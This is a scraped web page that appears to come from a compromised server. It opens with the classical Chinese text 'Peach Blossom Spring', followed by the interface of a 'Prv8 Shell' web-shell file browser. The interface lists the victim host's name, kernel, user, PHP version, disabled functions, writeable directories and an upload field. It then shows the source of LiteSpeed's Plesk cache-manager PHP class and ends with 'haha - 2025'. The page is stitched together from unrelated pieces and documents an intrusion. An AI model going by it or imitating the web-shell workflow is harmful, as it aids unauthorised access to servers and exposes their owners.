晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /usr/local/lsws/add-ons/webcachemgr/src/Panel/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/local/lsws/add-ons/webcachemgr/src/Panel/Plesk.php
<?php

/** ******************************************
 * LiteSpeed Web Server Cache Manager
 *
 * @author LiteSpeed Technologies, Inc. (https://www.litespeedtech.com)
 * @copyright (c) 2018-2021
 * ******************************************* */

namespace Lsc\Wp\Panel;

use Lsc\Wp\Logger;
use Lsc\Wp\LSCMException;
use Lsc\Wp\Util;
use Lsc\Wp\WPInstall;

class Plesk extends ControlPanel
{

    /**
     *
     * @throws LSCMException Thrown indirectly.
     */
    public function __construct()
    {
        parent::__construct();
    }

    /**
     *
     * @since 1.13.2
     *
     * @throws LSCMException  Thrown indirectly.
     */
    protected function init2()
    {
        $this->panelName = 'Plesk';
        $this->defaultSvrCacheRoot = '/var/www/vhosts/lscache/';
        parent::init2();
    }

    /**
     * More reliable than php_uname('s')
     *
     * @return string
     * @throws LSCMException
     */
    public function getPleskOS()
    {
        $supportedOsList = array(
            'centos',
            'virtuozzo',
            'cloudlinux',
            'redhat',
            'rhel',
            'ubuntu',
            'debian',
            'almalinux'
        );

        $cmds = array();

        if ( file_exists('/etc/debian_version') ) {
            return 'debian';
        }

        if ( is_readable('/etc/os-release') ) {
            $cmds[] = 'grep ^ID= /etc/os-release | cut -d"=" -f2 | xargs';
        }

        if ( is_readable('/etc/lsb-release') ) {
            $cmds[] = 'grep ^DISTRIB_ID= /etc/lsb-release | cut -d"=" -f2 '
                . '| xargs';
        }

        if ( is_readable('/etc/redhat-release') ) {
            $cmds[] = 'cat /etc/redhat-release | awk \'{print $1}\'';
        }

        foreach ( $cmds as $cmd ) {
            $OS = trim(shell_exec($cmd));

            foreach ( $supportedOsList as $supportedOs ) {

                if ( stripos($OS, $supportedOs) !== false ) {
                    return $supportedOs;
                }
            }
        }

        throw new LSCMException(
            'Plesk detected with unsupported OS. '
                . '(Not CentOS/Virtuozzo/Cloudlinux/RedHat/Ubuntu/Debian/'
                . 'AlmaLinux)',
            LSCMException::E_UNSUPPORTED
        );
    }

    /**
     *
     * @since 1.13.3
     *
     * @return string
     */
    protected function getVhDir()
    {
        $vhDir = '/var/www/vhosts';

        $psaConfFile = '/etc/psa/psa.conf';

        if ( file_exists($psaConfFile) ) {
            $file_content = file_get_contents($psaConfFile);

            $ret = preg_match(
                '/HTTPD_VHOSTS_D\s+([^\s]+)/',
                $file_content,
                $m
            );

            if ( $ret == 1 ) {
                $vhDir = $m[1];
            }
        }

        return $vhDir;
    }

    /**
     *
     * @throws LSCMException  Thrown indirectly.
     */
    protected function initConfPaths()
    {
        $OS = $this->getPleskOS();

        switch ($OS) {
            case 'centos':
            case 'virtuozzo':
            case 'cloudlinux':
            case 'redhat':
            case 'rhel':
            case 'almalinux':
                $this->apacheConf = '/etc/httpd/conf.d/lscache.conf';
                break;

            case 'ubuntu':
                $this->apacheConf = '/etc/apache2/conf-enabled/lscache.conf';
                break;

            case 'debian':

                if ( is_dir('/etc/apache2/conf-enabled') ) {
                    $this->apacheConf =
                        '/etc/apache2/conf-enabled/lscache.conf';
                }
                else {
                    /**
                     * Old location.
                     */
                    $this->apacheConf = '/etc/apache2/conf.d/lscache.conf';
                }

                break;

            //no default case
        }

        $this->apacheVHConf = '/usr/local/psa/admin/conf/templates'
            . '/custom/domain/domainVirtualHost.php';
    }

    protected function serverCacheRootSearch()
    {
        $apacheConfDir = dirname($this->apacheConf);

        if ( file_exists($apacheConfDir) ) {
            return $this->cacheRootSearch($apacheConfDir);
        }

        return '';
    }

    protected function vhCacheRootSearch()
    {
        if ( file_exists($this->apacheVHConf) ) {
            return $this->getCacheRootSetting($this->apacheVHConf);
        }

        return '';
    }

    /**
     *
     * @param array   $file_contents
     * @param string  $vhCacheRoot
     * @return array
     */
    protected function addVHCacheRootSection(
        $file_contents, $vhCacheRoot = 'lscache' )
    {
        return preg_replace(
            '!^\s*</VirtualHost>!im',
            "<IfModule Litespeed>\nCacheRoot $vhCacheRoot\n</IfModule>\n"
                . '</VirtualHost>',
            $file_contents
        );
    }

    /**
     *
     * @param string $vhConf
     * @param string $vhCacheRoot
     * @throws LSCMException  Thrown indirectly.
     */
    public function createVHConfAndSetCacheRoot(
        $vhConf, $vhCacheRoot = 'lscache' )
    {
        $vhConfTmpl = '/usr/local/psa/admin/conf/templates/default/domain/'
            . 'domainVirtualHost.php';
        $vhConfDir = dirname($vhConf);

        if ( !file_exists($vhConfDir) ) {
            mkdir($vhConfDir, 0755, true);

            $this->log("Created directory $vhConfDir", Logger::L_DEBUG);
        }

        copy($vhConfTmpl, $vhConf);
        Util::matchPermissions($vhConfTmpl, $vhConf);

        $this->log(
            "Copied Virtual Host conf template file $vhConfTmpl to $vhConf",
            Logger::L_DEBUG
        );

        $file_contents = file($vhConf);

        $replaced_content = preg_replace(
            '!^\s*</VirtualHost>!im',
            "<IfModule Litespeed>\nCacheRoot $vhCacheRoot\n</IfModule>"
                . "\n</VirtualHost>",
            $file_contents
        );

        file_put_contents($vhConf, $replaced_content);

        $this->log(
            "Virutal Host cache root set to $vhCacheRoot",
            Logger::L_INFO
        );
    }

    public function applyVHConfChanges()
    {
        exec('/usr/local/psa/admin/bin/httpdmng --reconfigure-all');
    }

    /**
     * Gets a list of found docroots and associated server names.
     *
     * Note: This function is repeated in Plesk plugin files to avoid extra
     * serialize ops etc. This copy is for cli only.
     */
    protected function prepareDocrootMap()
    {

        $vhDir = $this->getVhDir();

        $cmd = 'grep -hro --exclude="stat_ttl.conf" --exclude="*.bak" '
            . '--exclude="last_httpd.conf" '
            . '"DocumentRoot.*\|ServerName.*\|ServerAlias.*" '
            . "$vhDir/system/*/conf/*";
        exec( $cmd, $lines);

        /**
         * [0]=servername, [1]=serveralias, [2]=serveralias, [3]=docroot, etc.
         * Not unique & not sorted.
         *
         * Example:
         * ServerName "pltest1.com:443"
         * ServerAlias "www.pltest1.com"
         * ServerAlias "ipv4.pltest1.com"
         * DocumentRoot "/var/www/vhosts/pltest1.com/httpdocs"
         * ServerName "pltest1.com:80"
         * ServerAlias "www.pltest1.com"
         * ServerAlias "ipv4.pltest1.com"
         * DocumentRoot "/var/www/vhosts/pltest1.com/httpdocs"
         * ServerName "pltest2.com:443"
         * ServerAlias "www.pltest2.com"
         * ServerAlias "ipv4.pltest2.com"
         * DocumentRoot "/var/www/vhosts/pltest2.com/httpdocs"
         * ServerName "pltest2.com:80"
         * ServerAlias "www.pltest2.com"
         * ServerAlias "ipv4.pltest2.com"
         * DocumentRoot "/var/www/vhosts/pltest2.com/httpdocs"
         */

        $x = 0;
        $names = $tmpDocrootMap = array();

        $lineCount = count($lines);

        while ( $x <  $lineCount ) {
            $pattern = '/ServerName\s+"([^"]+)"/';

            if ( preg_match($pattern, $lines[$x], $m1) != 1 ) {
                /**
                 * Invalid start of group, skip.
                 */
                $x++;
                continue;
            }

            $serverNameAsUrl =
                (preg_match('#^https?://#', $m1[1])) ? $m1[1] : "http://$m1[1]";

            $UrlInfo = parse_url($serverNameAsUrl);
            $names[] = $UrlInfo['host'];
            $x++;

            $pattern = '/ServerAlias\s+"([^"]+)"/';

            while ( isset($lines[$x])
                    && preg_match($pattern, $lines[$x], $m2) ) {

                $names[] = $m2[1];
                $x++;
            }

            $pattern = '/DocumentRoot\s+"([^"]+)"/';

            if ( isset($lines[$x])
                    && preg_match($pattern, $lines[$x], $m3) == 1
                    && is_dir($m3[1]) ) {

                $docroot = $m3[1];

                if ( !isset($tmpDocrootMap[$docroot]) ) {
                    $tmpDocrootMap[$docroot] = $names;
                }
                else {
                    $tmpDocrootMap[$docroot] =
                        array_merge($tmpDocrootMap[$docroot], $names);
                }

                $x++;
            }

            $names = array();
        }

        $index = 0;
        $roots = $serverNames = array();

        foreach ( $tmpDocrootMap as $docroot => $names ) {
            $roots[$index] = $docroot;

            $names = array_unique($names);

            foreach ( $names as $n ) {
                $serverNames[$n] = $index;
            }

            $index++;
        }

        $this->docRootMap =
            array( 'docroots' => $roots, 'names' => $serverNames );
    }

    /**
     * Check for known Plesk PHP binaries and return the newest available
     * version among them.
     *
     * @since 1.9.6
     *
     * @return string
     */
    protected function getDefaultPhpBinary()
    {
        $binaryList = array (
            '/opt/plesk/php/7.4/bin/php',
            '/opt/plesk/php/7.3/bin/php',
            '/opt/plesk/php/7.2/bin/php',
            '/opt/plesk/php/7.1/bin/php',
            '/opt/plesk/php/7.0/bin/php',
            '/opt/plesk/php/5.6/bin/php',
        );

        foreach ( $binaryList as $binary ) {

            if ( file_exists($binary)) {
                return $binary;
            }
        }

        return '';
    }

    /**
     *
     * @param WPInstall $wpInstall  Not used
     * @return string
     */
    public function getPhpBinary( WPInstall $wpInstall )
    {
        $phpBin = 'php';

        $serverName = $wpInstall->getData(WPInstall::FLD_SERVERNAME);

        if ( $serverName != null ) {
            $escapedServerName = escapeshellarg($serverName);

            $cmd = 'plesk db -Ne "SELECT s.value '
                . 'FROM ((domains d INNER JOIN hosting h ON h.dom_id=d.id) '
                . 'INNER JOIN ServiceNodeEnvironment s '
                . 'ON h.php_handler_id=s.name) '
                . "WHERE d.name=$escapedServerName "
                . 'AND s.section=\'phphandlers\'" '
                . '| sed -n \'s:.*<clipath>\(.*\)</clipath>.*:\1:p\'';

            $binPath = trim(shell_exec($cmd));
        }

        if ( !empty($binPath) ) {
            $phpBin = $binPath;
        }
        elseif ( ($defaultBinary = $this->getDefaultPHPBinary()) != '' ) {
            $phpBin = $defaultBinary;
        }

        return "$phpBin $this->phpOptions";
    }

}

haha - 2025